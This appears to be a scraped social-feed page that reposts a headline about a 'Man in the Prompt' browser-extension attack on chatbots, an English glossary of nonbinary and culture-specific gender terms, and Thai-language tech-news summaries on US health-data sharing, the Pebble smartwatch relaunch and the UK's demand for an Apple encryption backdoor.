https://hackread.com/browser-extensions-exploit-chatgpt-gemini-man-in-the-prompt/
    HACKREAD.COM
    Browser Extensions Can Exploit ChatGPT, Gemini in ‘Man in the Prompt’ Attack
    Follow us on Bluesky, Twitter (X), Mastodon and Facebook at @Hackread
    0 ความคิดเห็น 0 การแบ่งปัน 98 มุมมอง 0 รีวิว
  • Demigender, Maverique, And Other Gender Terms You May Not Know

    The language of queer identity is constantly evolving and expanding, and there will always be new terminology to learn. Pride Month is the perfect opportunity to increase understanding and awareness of the kind of emerging and newly prominent terms that we’re constantly adding to our Gender and Sexuality Dictionary.

    Language is an important part of how queer people, and particularly nonbinary and trans people, express and define their experience and who they are, whether it’s through the use of new terms or new applications of existing terms.

    Finding or coining the term that precisely reflects personal experience and identity can help a person to feel seen, accepted, or understood. It can be liberating and empowering both individually and in a way that creates community. And learning these terms helps to promote inclusion and respect.
    The explanations of the terms provided here are meant to capture the ways that most people use them. But it’s important to note that many of these terms can be and are applied in different—and equally valid—ways, with nuances and interpretations varying from person to person. It’s also important to emphasize that this list is not meant to be exhaustive—it simply covers some of the terms that have become increasingly visible in the discussion of the diverse expanse of gender.

    demigender
    Demigender is an umbrella term for people who identify partly, but not fully, with a certain gender. The prefix demi- means “half.” People who identify as demigender may use identifying terms like demigirl or demiboy.

    Demigender is distinct from bigender, which indicates two genders or a combination of two. The term demigender is sometimes considered to overlap with genderflux, which is used by people who experience a range of intensity within a gender identity.

    This means that a genderflux individual may experience the feeling of multiple genders on any given day (or moment). The term gender-fluid is sometimes used synonymously with genderflux.

    femme
    The word femme, occasionally spelled fem, comes from the French word for “woman.” It was first adopted into English to mean simply “woman” or “wife.” However, by the 1960s, it came to refer to “a lesbian who embraces identity markers that are associated with traditional expressions of femininity.” This sense of femme is often contrasted with butch, “a lesbian who embraces identity markers that are associated with traditional expressions of masculinity.”

    Separate from this long-standing sense, the term femme has taken on a broader meaning in recent years. Femme is now also used to mean “any person who adopts a feminine appearance, manner, or persona.” This meaning of femme is inclusive of all genders with a feminine aspect—it may be used by someone who identifies as a trans woman or a demigirl, for example.

    xenogender
    When it comes to expressions of gender, there are many terms that go “beyond the binary” of masculine and feminine identities. One example is xenogender, an umbrella term for nonbinary genders that do not relate to the categories of “female” or “male.” Such gender identities are often expressed by attaching -gender to a word (often a noun) that’s representative of it, like an animal, concept, or symbol, such as staticgender or sciencegender.

    The combining form xeno- means “alien” or “strange,” from the Greek xénos, meaning “stranger, guest.” Xenogender is meant to indicate a person’s sense of their gender as being completely unrelated to typical gender identities. Early uses of the term xenogender are thought to have emerged around 2017, with an increase in use beginning around 2020. Still, awareness of the term is relatively low.

    neutrois
    Like xenogender, neutrois refers to a gender identity that does not relate to male or female identities. Neutrois people are non-gendered and may transition away from having physical signifiers traditionally associated with gender expression. This is distinct from an androgynous identity, in which a person has “both masucline and feminine gender characteristics.” According to Neutrois Outpost, a website dedicated to neutrois people, the word neutrois was coined by H.A. Burnham in the 1990s. The origin of neutrois is unclear, but it is likely related to the French neutre, meaning “neuter, neither masculine nor feminine,” and trois, “three,” a reference to it representing a third gender.

    aporagender
    Another nonbinary gender identity is aporagender. Aporagender is distinct from male, female, or any gender along the binary spectrum, but still involves experiencing a strong gender identity. Like xenogender identities, aporagender identities are connected to an identity beyond a binary. This makes aporagender people different from neutrois people in that they have a gender identity.

    The word aporagender is thought to have been coined in 2014 by a user of the website Tumblr. The apora- part of the word comes from the Greek apó, meaning “away off, apart,” or “separate.” In other words, aporagender is a “separate gender,” neither male nor female nor anything in between.

    maverique
    Like aporagender, maverique was coined in 2014 by a Tumblr user, Vesper H., who defines the term on their FAQ page as an “inner conviction regarding a sense of self that is entirely independent of male/masculinity, female/femininity or anything which derives from the two while still being neither without gender, nor of a neutral gender.” In this way, a maverique gender is said to be unique and separate from the gender binary.

    The term comes from a combination of the English maverick, referring to someone who is “unorthodox” or “nonconformist,” and the French suffix -ique, meaning “having some characteristics of” or “-like,” similar to the English -ic. Maverique can be pronounced either [ mav-reek ] or [ mav-uh–reek ].

    gendervoid
    Another set of gender identities that falls under the nonbinary umbrella is gendervoid, referring to the sense that there is “an empty space,” a void, where a gender identity would be. Those who identify as gendervoid may feel unable to experience gender. When describing gender identity, void- can also be used as a prefix, as in voidboy or voidgirl, which are used for a person who identifies with some aspect of masculinity or femininity while also experiencing a gender “void.” The term is sometimes used synonymously with agender, but some make the distinction that agender represents gender neutrality while gendervoid represents a complete lack of gender.

    māhū
    Within Native Hawaiian and Tahitian cultures, the gender identity said to be between male and female is known as māhū [ ma-hoo ]. Traditionally, māhū people were highly respected in their communities for their knowledge of rituals and healing practices. While historically māhū people have faced marginalization and discrimination, there is growing recognition of them and their contributions to the life and culture of their communities.

    hijra
    While there is a variety of third genders in many cultures throughout the Indian subcontinent, one of the more common ones is hijra [ hij–ruh ], referring to “a person whose gender identity is neither male nor female, typically a person who was assigned male at birth but whose gender expression is female.” It can also more generally refer to a transgender person.

    Members of the hijra community often live apart from other communities. Believed by many Hindus to have particular religious power due to their gender, the hijra are often hired to perform dances and blessings at momentous occasions, such as weddings and births.

    fa’afafine and fa’afatama
    In Samoan culture, both in Samoa and in Samoan communities around the world, the terms fa’afafine [ fa-af-ah-feen-eh ] and fa’afatama [ fa-af-ah–tah-mah ] are used to refer to those who express both masculine and feminine gender characteristics. Fa’afafine refers to a person assigned male at birth with female characteristics, while fa’afatama refers to a person assigned female at birth with male characteristics. The prefix fa’a- means “in the manner of,” while fafine means “woman” and fatama means “man.”

    Fa’afafine and fa’afatama people are particularly noted for their role as a ceremonial host—or taupou—during rituals.

    It is important to note that māhū, hijra, fa’afafine, and fa’afatama are connected to specific cultural conceptions of gender and, as such, are not directly analogous to each other or other terms used by transgender people.

    These are only a few of the many terms you may encounter in the discussion and expression of gender identity. You can find many more in Gender and Sexuality Dictionary, which it regularly update with new terms and meanings to reflect evolving terminology.

    © 2025, Aakkhra, All rights reserved.
    Demigender, Maverique, And Other Gender Terms You May Not Know The language of queer identity is constantly evolving and expanding, and there will always be new terminology to learn. Pride Month is the perfect opportunity to increase understanding and awareness of the kind of emerging and newly prominent terms that we’re constantly adding to our Gender and Sexuality Dictionary. Language is an important part of how queer people, and particularly nonbinary and trans people, express and define their experience and who they are, whether it’s through the use of new terms or new applications of existing terms. Finding or coining the term that precisely reflects personal experience and identity can help a person to feel seen, accepted, or understood. It can be liberating and empowering both individually and in a way that creates community. And learning these terms helps to promote inclusion and respect. The explanations of the terms provided here are meant to capture the ways that most people use them. But it’s important to note that many of these terms can be and are applied in different—and equally valid—ways, with nuances and interpretations varying from person to person. It’s also important to emphasize that this list is not meant to be exhaustive—it simply covers some of the terms that have become increasingly visible in the discussion of the diverse expanse of gender. demigender Demigender is an umbrella term for people who identify partly, but not fully, with a certain gender. The prefix demi- means “half.” People who identify as demigender may use identifying terms like demigirl or demiboy. Demigender is distinct from bigender, which indicates two genders or a combination of two. The term demigender is sometimes considered to overlap with genderflux, which is used by people who experience a range of intensity within a gender identity. This means that a genderflux individual may experience the feeling of multiple genders on any given day (or moment). The term gender-fluid is sometimes used synonymously with genderflux. femme The word femme, occasionally spelled fem, comes from the French word for “woman.” It was first adopted into English to mean simply “woman” or “wife.” However, by the 1960s, it came to refer to “a lesbian who embraces identity markers that are associated with traditional expressions of femininity.” This sense of femme is often contrasted with butch, “a lesbian who embraces identity markers that are associated with traditional expressions of masculinity.” Separate from this long-standing sense, the term femme has taken on a broader meaning in recent years. Femme is now also used to mean “any person who adopts a feminine appearance, manner, or persona.” This meaning of femme is inclusive of all genders with a feminine aspect—it may be used by someone who identifies as a trans woman or a demigirl, for example. xenogender When it comes to expressions of gender, there are many terms that go “beyond the binary” of masculine and feminine identities. One example is xenogender, an umbrella term for nonbinary genders that do not relate to the categories of “female” or “male.” Such gender identities are often expressed by attaching -gender to a word (often a noun) that’s representative of it, like an animal, concept, or symbol, such as staticgender or sciencegender. The combining form xeno- means “alien” or “strange,” from the Greek xénos, meaning “stranger, guest.” Xenogender is meant to indicate a person’s sense of their gender as being completely unrelated to typical gender identities. Early uses of the term xenogender are thought to have emerged around 2017, with an increase in use beginning around 2020. Still, awareness of the term is relatively low. neutrois Like xenogender, neutrois refers to a gender identity that does not relate to male or female identities. Neutrois people are non-gendered and may transition away from having physical signifiers traditionally associated with gender expression. This is distinct from an androgynous identity, in which a person has “both masucline and feminine gender characteristics.” According to Neutrois Outpost, a website dedicated to neutrois people, the word neutrois was coined by H.A. Burnham in the 1990s. The origin of neutrois is unclear, but it is likely related to the French neutre, meaning “neuter, neither masculine nor feminine,” and trois, “three,” a reference to it representing a third gender. aporagender Another nonbinary gender identity is aporagender. Aporagender is distinct from male, female, or any gender along the binary spectrum, but still involves experiencing a strong gender identity. Like xenogender identities, aporagender identities are connected to an identity beyond a binary. This makes aporagender people different from neutrois people in that they have a gender identity. The word aporagender is thought to have been coined in 2014 by a user of the website Tumblr. The apora- part of the word comes from the Greek apó, meaning “away off, apart,” or “separate.” In other words, aporagender is a “separate gender,” neither male nor female nor anything in between. maverique Like aporagender, maverique was coined in 2014 by a Tumblr user, Vesper H., who defines the term on their FAQ page as an “inner conviction regarding a sense of self that is entirely independent of male/masculinity, female/femininity or anything which derives from the two while still being neither without gender, nor of a neutral gender.” In this way, a maverique gender is said to be unique and separate from the gender binary. The term comes from a combination of the English maverick, referring to someone who is “unorthodox” or “nonconformist,” and the French suffix -ique, meaning “having some characteristics of” or “-like,” similar to the English -ic. Maverique can be pronounced either [ mav-reek ] or [ mav-uh–reek ]. gendervoid Another set of gender identities that falls under the nonbinary umbrella is gendervoid, referring to the sense that there is “an empty space,” a void, where a gender identity would be. Those who identify as gendervoid may feel unable to experience gender. When describing gender identity, void- can also be used as a prefix, as in voidboy or voidgirl, which are used for a person who identifies with some aspect of masculinity or femininity while also experiencing a gender “void.” The term is sometimes used synonymously with agender, but some make the distinction that agender represents gender neutrality while gendervoid represents a complete lack of gender. māhū Within Native Hawaiian and Tahitian cultures, the gender identity said to be between male and female is known as māhū [ ma-hoo ]. Traditionally, māhū people were highly respected in their communities for their knowledge of rituals and healing practices. While historically māhū people have faced marginalization and discrimination, there is growing recognition of them and their contributions to the life and culture of their communities. hijra While there is a variety of third genders in many cultures throughout the Indian subcontinent, one of the more common ones is hijra [ hij–ruh ], referring to “a person whose gender identity is neither male nor female, typically a person who was assigned male at birth but whose gender expression is female.” It can also more generally refer to a transgender person. Members of the hijra community often live apart from other communities. Believed by many Hindus to have particular religious power due to their gender, the hijra are often hired to perform dances and blessings at momentous occasions, such as weddings and births. fa’afafine and fa’afatama In Samoan culture, both in Samoa and in Samoan communities around the world, the terms fa’afafine [ fa-af-ah-feen-eh ] and fa’afatama [ fa-af-ah–tah-mah ] are used to refer to those who express both masculine and feminine gender characteristics. Fa’afafine refers to a person assigned male at birth with female characteristics, while fa’afatama refers to a person assigned female at birth with male characteristics. The prefix fa’a- means “in the manner of,” while fafine means “woman” and fatama means “man.” Fa’afafine and fa’afatama people are particularly noted for their role as a ceremonial host—or taupou—during rituals. It is important to note that māhū, hijra, fa’afafine, and fa’afatama are connected to specific cultural conceptions of gender and, as such, are not directly analogous to each other or other terms used by transgender people. These are only a few of the many terms you may encounter in the discussion and expression of gender identity. You can find many more in Gender and Sexuality Dictionary, which it regularly update with new terms and meanings to reflect evolving terminology. © 2025, Aakkhra, All rights reserved.
    0 ความคิดเห็น 0 การแบ่งปัน 147 มุมมอง 0 รีวิว
  • เรื่องเล่าจากโลกสุขภาพดิจิทัล: เมื่อข้อมูลสุขภาพกลายเป็นสินทรัพย์ของ AI

    ในงาน “Making Health Technology Great Again” ที่ทำเนียบขาว Trump ประกาศโครงการใหม่ให้ประชาชนอเมริกันสามารถ “สมัครใจ” แชร์ข้อมูลสุขภาพ เช่น ประวัติการรักษา น้ำหนัก โรคเรื้อรัง ไปยังบริษัทเทคโนโลยีอย่าง Google, Amazon และ Apple โดยมีเป้าหมายเพื่อสร้างระบบสุขภาพดิจิทัลที่สามารถให้คำแนะนำเฉพาะบุคคลผ่านแอปและ AI

    ระบบนี้จะดูแลโดย Centers for Medicare and Medicaid Services (CMS) ซึ่งจะรวบรวมข้อมูลจากหลายแหล่งและเชื่อมโยงกับแอปสุขภาพ เช่น Apple Health เพื่อให้ผู้ใช้สามารถดูผลตรวจเลือดหรือประวัติการรักษาได้ทันที

    แต่ผู้เชี่ยวชาญด้านกฎหมายและจริยธรรมเตือนว่า “ไม่มีกรอบกฎหมายที่ชัดเจน” ว่า AI จะใช้ข้อมูลเหล่านี้อย่างไร และอาจนำไปสู่การใช้ข้อมูลในทางที่เป็นอันตรายต่อผู้ป่วย เช่น การประเมินความเสี่ยงทางสุขภาพเพื่อการประกัน หรือการขายข้อมูลให้บริษัทโฆษณา

    Trump เปิดตัวโครงการให้ประชาชนแชร์ข้อมูลสุขภาพกับ Big Tech
    มีเป้าหมายเพื่อสร้างระบบสุขภาพดิจิทัลที่ใช้ AI
    ผู้ใช้ต้อง “สมัครใจ” เข้าร่วมระบบ

    ระบบจะดูแลโดย CMS และเชื่อมโยงกับแอปสุขภาพต่างๆ3
    เช่น Apple Health สามารถเข้าถึงผลตรวจจากโรงพยาบาล
    ใช้ AI วิเคราะห์พฤติกรรมสุขภาพและให้คำแนะนำเฉพาะบุคคล

    มีบริษัทกว่า 60 แห่งเข้าร่วม เช่น Google, Amazon, Cleveland Clinic4
    ตั้งเป้าเริ่มใช้งานจริงในไตรมาสแรกของปี 2026
    รวมถึงระบบลงทะเบียนผ่าน QR code และแอปติดตามยา

    ประโยชน์ของระบบสุขภาพดิจิทัล6
    ลดข้อผิดพลาดทางการแพทย์
    เพิ่มความสะดวกในการเข้าถึงข้อมูลสุขภาพ
    ลดค่าใช้จ่ายในการรักษาและเดินทาง
    ส่งเสริมการดูแลสุขภาพด้วยตนเองผ่านอุปกรณ์ IoT

    ความเสี่ยงด้านความเป็นส่วนตัวและการใช้ข้อมูลโดยไม่ได้รับความยินยอม
    ไม่มีกรอบกฎหมายชัดเจนสำหรับการใช้ข้อมูลสุขภาพใน AI
    ข้อมูลอาจถูกใช้เพื่อการโฆษณา หรือประเมินความเสี่ยงโดยบริษัทประกัน

    ความไม่มั่นใจในความปลอดภัยของข้อมูลที่เก็บโดย Big Tech
    ระบบอาจถูกเจาะข้อมูลหรือใช้ในทางที่ไม่โปร่งใส
    ค่าเสียหายจากการละเมิดข้อมูลสุขภาพเฉลี่ยสูงถึง $10.1 ล้านต่อกรณีในสหรัฐฯ

    การแบ่งปันข้อมูลอาจสร้างความเหลื่อมล้ำในการเข้าถึงบริการสุขภาพ
    กลุ่มประชากรที่ไม่มีอุปกรณ์หรือความรู้ดิจิทัลอาจถูกทิ้งไว้ข้างหลัง
    ระบบอาจเน้นเฉพาะกลุ่มที่อยู่ในเมืองหรือมีรายได้สูง

    CMS เคยอนุญาตให้ ICE เข้าถึงข้อมูล Medicaid เพื่อใช้ในการตรวจสอบคนเข้าเมือง
    สร้างความกังวลว่าข้อมูลสุขภาพอาจถูกใช้เพื่อวัตถุประสงค์อื่นที่ไม่เกี่ยวกับการรักษา
    ขัดต่อหลักการของ HIPAA ที่เน้นการคุ้มครองข้อมูลสุขภาพส่วนบุคคล

    https://wccftech.com/president-trump-wants-americans-to-share-personal-health-data-with-big-tech/
    🧬 เรื่องเล่าจากโลกสุขภาพดิจิทัล: เมื่อข้อมูลสุขภาพกลายเป็นสินทรัพย์ของ AI ในงาน “Making Health Technology Great Again” ที่ทำเนียบขาว Trump ประกาศโครงการใหม่ให้ประชาชนอเมริกันสามารถ “สมัครใจ” แชร์ข้อมูลสุขภาพ เช่น ประวัติการรักษา น้ำหนัก โรคเรื้อรัง ไปยังบริษัทเทคโนโลยีอย่าง Google, Amazon และ Apple โดยมีเป้าหมายเพื่อสร้างระบบสุขภาพดิจิทัลที่สามารถให้คำแนะนำเฉพาะบุคคลผ่านแอปและ AI ระบบนี้จะดูแลโดย Centers for Medicare and Medicaid Services (CMS) ซึ่งจะรวบรวมข้อมูลจากหลายแหล่งและเชื่อมโยงกับแอปสุขภาพ เช่น Apple Health เพื่อให้ผู้ใช้สามารถดูผลตรวจเลือดหรือประวัติการรักษาได้ทันที แต่ผู้เชี่ยวชาญด้านกฎหมายและจริยธรรมเตือนว่า “ไม่มีกรอบกฎหมายที่ชัดเจน” ว่า AI จะใช้ข้อมูลเหล่านี้อย่างไร และอาจนำไปสู่การใช้ข้อมูลในทางที่เป็นอันตรายต่อผู้ป่วย เช่น การประเมินความเสี่ยงทางสุขภาพเพื่อการประกัน หรือการขายข้อมูลให้บริษัทโฆษณา ✅ Trump เปิดตัวโครงการให้ประชาชนแชร์ข้อมูลสุขภาพกับ Big Tech ➡️ มีเป้าหมายเพื่อสร้างระบบสุขภาพดิจิทัลที่ใช้ AI ➡️ ผู้ใช้ต้อง “สมัครใจ” เข้าร่วมระบบ ✅ ระบบจะดูแลโดย CMS และเชื่อมโยงกับแอปสุขภาพต่างๆ3 ➡️ เช่น Apple Health สามารถเข้าถึงผลตรวจจากโรงพยาบาล ➡️ ใช้ AI วิเคราะห์พฤติกรรมสุขภาพและให้คำแนะนำเฉพาะบุคคล ✅ มีบริษัทกว่า 60 แห่งเข้าร่วม เช่น Google, Amazon, Cleveland Clinic4 ➡️ ตั้งเป้าเริ่มใช้งานจริงในไตรมาสแรกของปี 2026 ➡️ รวมถึงระบบลงทะเบียนผ่าน QR code และแอปติดตามยา ✅ ประโยชน์ของระบบสุขภาพดิจิทัล6 ➡️ ลดข้อผิดพลาดทางการแพทย์ ➡️ เพิ่มความสะดวกในการเข้าถึงข้อมูลสุขภาพ ➡️ ลดค่าใช้จ่ายในการรักษาและเดินทาง ➡️ ส่งเสริมการดูแลสุขภาพด้วยตนเองผ่านอุปกรณ์ IoT ‼️ ความเสี่ยงด้านความเป็นส่วนตัวและการใช้ข้อมูลโดยไม่ได้รับความยินยอม ⛔ ไม่มีกรอบกฎหมายชัดเจนสำหรับการใช้ข้อมูลสุขภาพใน AI ⛔ ข้อมูลอาจถูกใช้เพื่อการโฆษณา หรือประเมินความเสี่ยงโดยบริษัทประกัน ‼️ ความไม่มั่นใจในความปลอดภัยของข้อมูลที่เก็บโดย Big Tech ⛔ ระบบอาจถูกเจาะข้อมูลหรือใช้ในทางที่ไม่โปร่งใส ⛔ ค่าเสียหายจากการละเมิดข้อมูลสุขภาพเฉลี่ยสูงถึง $10.1 ล้านต่อกรณีในสหรัฐฯ ‼️ การแบ่งปันข้อมูลอาจสร้างความเหลื่อมล้ำในการเข้าถึงบริการสุขภาพ ⛔ กลุ่มประชากรที่ไม่มีอุปกรณ์หรือความรู้ดิจิทัลอาจถูกทิ้งไว้ข้างหลัง ⛔ ระบบอาจเน้นเฉพาะกลุ่มที่อยู่ในเมืองหรือมีรายได้สูง ‼️ CMS เคยอนุญาตให้ ICE เข้าถึงข้อมูล Medicaid เพื่อใช้ในการตรวจสอบคนเข้าเมือง ⛔ สร้างความกังวลว่าข้อมูลสุขภาพอาจถูกใช้เพื่อวัตถุประสงค์อื่นที่ไม่เกี่ยวกับการรักษา ⛔ ขัดต่อหลักการของ HIPAA ที่เน้นการคุ้มครองข้อมูลสุขภาพส่วนบุคคล https://wccftech.com/president-trump-wants-americans-to-share-personal-health-data-with-big-tech/
    WCCFTECH.COM
    President Trump Reportedly Wants Americans to Share Personal Health Data With Big Tech, Claiming It Would Allow for Better Care, But Many Fear AI Will Exploit It
    The Trump administration wants to bring health care into the "digital age" by requiring Americans to sign up to share records with US firms.
    0 ความคิดเห็น 0 การแบ่งปัน 143 มุมมอง 0 รีวิว
  • เรื่องเล่าจากข้อมืออดีต: Pebble กลับมาแล้ว พร้อมระบบเปิดและแบตเตอรี่ 30 วัน

    หลังจากหายไปเกือบ 10 ปี Eric Migicovsky ผู้ก่อตั้ง Pebble ได้เปิดตัวบริษัทใหม่ชื่อ Core Devices และประกาศว่าเขาได้ “ซื้อคืน” เครื่องหมายการค้า Pebble เพื่อใช้กับนาฬิกาอัจฉริยะรุ่นใหม่ที่พัฒนาบนระบบปฏิบัติการ PebbleOS แบบโอเพ่นซอร์ส

    นาฬิกาใหม่สองรุ่นคือ:
    - Pebble 2 Duo (เดิมชื่อ Core 2 Duo): หน้าจอขาวดำ e-paper ขนาด 1.26 นิ้ว, กันน้ำระดับ IPX8, มีไมค์และลำโพง, เซ็นเซอร์วัดความสูงและทิศทาง, แบตเตอรี่ใช้งานได้ 30 วัน
    - Pebble Time 2 (เดิมชื่อ Core Time 2): หน้าจอสี e-paper ขนาด 1.5 นิ้วแบบสัมผัส, ดีไซน์โลหะ, มีเซ็นเซอร์วัดหัวใจ, ไมค์และลำโพง, แบตเตอรี่ 30 วันเช่นกัน

    ทั้งสองรุ่นรองรับแอปและหน้าปัดกว่า 10,000 รายการจาก PebbleOS เดิม และสามารถปรับแต่งหรือพัฒนาเพิ่มเติมได้ด้วยซอฟต์แวร์โอเพ่นซอร์ส

    Pebble 2 Duo จะเริ่มจัดส่งปลายเดือนสิงหาคม 2025 (ล่าช้าจากกำหนดเดิมในเดือนกรกฎาคม) ส่วน Pebble Time 2 ยังอยู่ในขั้นตอนทดสอบ EVT และคาดว่าจะจัดส่งปลายปีนี้

    Pebble กลับมาอีกครั้งในปี 2025 โดยใช้ชื่อเดิมและระบบเดิม
    Eric Migicovsky ซื้อคืนเครื่องหมายการค้า Pebble
    เปิดตัวผ่านบริษัทใหม่ชื่อ Core Devices

    เปิดตัวนาฬิกาใหม่ 2 รุ่น: Pebble 2 Duo และ Pebble Time 2
    Pebble 2 Duo ราคา $149 พร้อมแบตเตอรี่ 30 วัน
    Pebble Time 2 ราคา $225 พร้อมหน้าจอสัมผัสและดีไซน์โลหะ

    ใช้ระบบปฏิบัติการ PebbleOS แบบโอเพ่นซอร์ส
    รองรับแอปและหน้าปัดกว่า 10,000 รายการ
    ผู้ใช้สามารถปรับแต่งหรือพัฒนาเพิ่มเติมได้เอง

    Pebble 2 Duo จะเริ่มจัดส่งปลายเดือนสิงหาคม 2025
    ล่าช้าจากกำหนดเดิมเพราะทดสอบระบบกันน้ำและลำโพง
    มี Bluetooth range ประมาณ 140 เมตรในพื้นที่เปิด

    Pebble Time 2 ยังอยู่ในขั้นตอน EVT และยังไม่มีกำหนดจัดส่ง
    ปรับดีไซน์ให้บางลงและดูทันสมัยขึ้น
    เพิ่มหน้าจอสัมผัสและเซ็นเซอร์วัดหัวใจ

    สามารถสั่งจองล่วงหน้าได้ผ่านเว็บไซต์ rePebble
    มีให้เลือกสีขาวและดำ พร้อมสายขนาดมาตรฐาน 22 มม.
    สินค้าจัดส่งจากฮ่องกง—สหรัฐฯ มีค่าภาษีเพิ่ม $10 ต่อเรือน

    https://www.techradar.com/health-fitness/smartwatches/the-all-new-pebble-watches-just-got-a-new-name-and-release-date-heres-how-to-get-one
    ⌚ เรื่องเล่าจากข้อมืออดีต: Pebble กลับมาแล้ว พร้อมระบบเปิดและแบตเตอรี่ 30 วัน หลังจากหายไปเกือบ 10 ปี Eric Migicovsky ผู้ก่อตั้ง Pebble ได้เปิดตัวบริษัทใหม่ชื่อ Core Devices และประกาศว่าเขาได้ “ซื้อคืน” เครื่องหมายการค้า Pebble เพื่อใช้กับนาฬิกาอัจฉริยะรุ่นใหม่ที่พัฒนาบนระบบปฏิบัติการ PebbleOS แบบโอเพ่นซอร์ส นาฬิกาใหม่สองรุ่นคือ: - Pebble 2 Duo (เดิมชื่อ Core 2 Duo): หน้าจอขาวดำ e-paper ขนาด 1.26 นิ้ว, กันน้ำระดับ IPX8, มีไมค์และลำโพง, เซ็นเซอร์วัดความสูงและทิศทาง, แบตเตอรี่ใช้งานได้ 30 วัน - Pebble Time 2 (เดิมชื่อ Core Time 2): หน้าจอสี e-paper ขนาด 1.5 นิ้วแบบสัมผัส, ดีไซน์โลหะ, มีเซ็นเซอร์วัดหัวใจ, ไมค์และลำโพง, แบตเตอรี่ 30 วันเช่นกัน ทั้งสองรุ่นรองรับแอปและหน้าปัดกว่า 10,000 รายการจาก PebbleOS เดิม และสามารถปรับแต่งหรือพัฒนาเพิ่มเติมได้ด้วยซอฟต์แวร์โอเพ่นซอร์ส Pebble 2 Duo จะเริ่มจัดส่งปลายเดือนสิงหาคม 2025 (ล่าช้าจากกำหนดเดิมในเดือนกรกฎาคม) ส่วน Pebble Time 2 ยังอยู่ในขั้นตอนทดสอบ EVT และคาดว่าจะจัดส่งปลายปีนี้ ✅ Pebble กลับมาอีกครั้งในปี 2025 โดยใช้ชื่อเดิมและระบบเดิม ➡️ Eric Migicovsky ซื้อคืนเครื่องหมายการค้า Pebble ➡️ เปิดตัวผ่านบริษัทใหม่ชื่อ Core Devices ✅ เปิดตัวนาฬิกาใหม่ 2 รุ่น: Pebble 2 Duo และ Pebble Time 2 ➡️ Pebble 2 Duo ราคา $149 พร้อมแบตเตอรี่ 30 วัน ➡️ Pebble Time 2 ราคา $225 พร้อมหน้าจอสัมผัสและดีไซน์โลหะ ✅ ใช้ระบบปฏิบัติการ PebbleOS แบบโอเพ่นซอร์ส ➡️ รองรับแอปและหน้าปัดกว่า 10,000 รายการ ➡️ ผู้ใช้สามารถปรับแต่งหรือพัฒนาเพิ่มเติมได้เอง ✅ Pebble 2 Duo จะเริ่มจัดส่งปลายเดือนสิงหาคม 2025 ➡️ ล่าช้าจากกำหนดเดิมเพราะทดสอบระบบกันน้ำและลำโพง ➡️ มี Bluetooth range ประมาณ 140 เมตรในพื้นที่เปิด ✅ Pebble Time 2 ยังอยู่ในขั้นตอน EVT และยังไม่มีกำหนดจัดส่ง ➡️ ปรับดีไซน์ให้บางลงและดูทันสมัยขึ้น ➡️ เพิ่มหน้าจอสัมผัสและเซ็นเซอร์วัดหัวใจ ✅ สามารถสั่งจองล่วงหน้าได้ผ่านเว็บไซต์ rePebble ➡️ มีให้เลือกสีขาวและดำ พร้อมสายขนาดมาตรฐาน 22 มม. ➡️ สินค้าจัดส่งจากฮ่องกง—สหรัฐฯ มีค่าภาษีเพิ่ม $10 ต่อเรือน https://www.techradar.com/health-fitness/smartwatches/the-all-new-pebble-watches-just-got-a-new-name-and-release-date-heres-how-to-get-one
    0 ความคิดเห็น 0 การแบ่งปัน 121 มุมมอง 0 รีวิว
  • เรื่องเล่าจากโลกเข้ารหัส: เมื่อ Apple ถูกบังคับให้เปิดประตูหลัง แต่ Google ยังปลอดภัย

    ต้นปี 2025 รัฐบาลสหราชอาณาจักรได้ออกคำสั่งลับที่เรียกว่า “Technical Capability Notice” (TCN) ภายใต้กฎหมาย Investigatory Powers Act ปี 2016 เพื่อให้ Apple สร้างช่องทางให้เจ้าหน้าที่เข้าถึงข้อมูลที่ถูกเข้ารหัสใน iCloud โดยเฉพาะฟีเจอร์ Advanced Data Protection (ADP) ที่แม้แต่ Apple เองก็ไม่สามารถเข้าถึงได้

    Apple ตัดสินใจยกเลิก ADP สำหรับผู้ใช้ใหม่ในสหราชอาณาจักร และให้ผู้ใช้เดิมปิดฟีเจอร์นี้เองภายในช่วงเวลาผ่อนผัน พร้อมยื่นอุทธรณ์คำสั่งต่อศาลพิเศษด้านการสอดแนม (Investigatory Powers Tribunal)

    ในขณะเดียวกัน Google ซึ่งให้บริการเข้ารหัสแบบ end-to-end ในหลายผลิตภัณฑ์ เช่น Android backups กลับออกมายืนยันว่า “ไม่เคยได้รับคำสั่ง TCN” และ “ไม่เคยสร้างช่องโหว่หรือ backdoor ใด ๆ” แม้ก่อนหน้านี้จะปฏิเสธตอบคำถามจากวุฒิสมาชิกสหรัฐฯ Ron Wyden

    การที่ Google ไม่ถูกแตะต้อง ทำให้หลายฝ่ายตั้งคำถามว่า คำสั่งของ UK อาจไม่ได้ครอบคลุมทุกบริษัท หรืออาจมีการเลือกเป้าหมายอย่างเฉพาะเจาะจง

    Apple ถูกสั่งให้สร้าง backdoor ในระบบเข้ารหัสของ iCloud
    คำสั่งออกโดย UK Home Office ผ่าน Technical Capability Notice (TCN)
    ส่งผลให้ Apple ยกเลิกฟีเจอร์ Advanced Data Protection (ADP) ใน UK

    Google ยืนยันว่าไม่เคยได้รับคำสั่ง TCN จากรัฐบาล UK
    Karl Ryan โฆษกของ Google ระบุว่า “เราไม่เคยสร้างช่องโหว่ใด ๆ”
    “ถ้าเราบอกว่าระบบเข้ารหัสแบบ end-to-end ก็หมายความว่าไม่มีใครเข้าถึงได้ แม้แต่เราเอง”

    ภายใต้กฎหมาย UK บริษัทที่ได้รับคำสั่ง TCN ห้ามเปิดเผยว่าตนได้รับคำสั่งนั้น
    ทำให้เกิดความคลุมเครือว่าบริษัทใดถูกสั่งจริง
    Meta เป็นอีกบริษัทที่ยืนยันว่าไม่เคยได้รับคำสั่ง TCN

    Apple ยื่นอุทธรณ์คำสั่งต่อศาลพิเศษ และได้รับการสนับสนุนจาก WhatsApp
    คดีนี้อาจกลายเป็นจุดเปลี่ยนสำคัญของการปกป้องความเป็นส่วนตัว
    มีองค์กรกว่า 200 แห่งร่วมลงชื่อเรียกร้องให้รัฐบาล UK ยกเลิกคำสั่ง

    รัฐบาลสหรัฐฯ กดดันให้ UK ยุติคำสั่ง TCN ต่อ Apple
    รองประธานาธิบดี JD Vance และวุฒิสมาชิก Wyden แสดงความกังวล
    อ้างว่าเป็นการละเมิดสนธิสัญญา Cloud Act ระหว่างสหรัฐฯ กับ UK

    การสร้าง backdoor ในระบบเข้ารหัสอาจเปิดช่องให้เกิดการละเมิดความเป็นส่วนตัวทั่วโลก
    ผู้ใช้ทั่วโลกอาจถูกเข้าถึงข้อมูลโดยไม่ได้รับอนุญาต
    ช่องโหว่ที่สร้างโดยรัฐอาจถูกแฮกเกอร์ใช้ในอนาคต

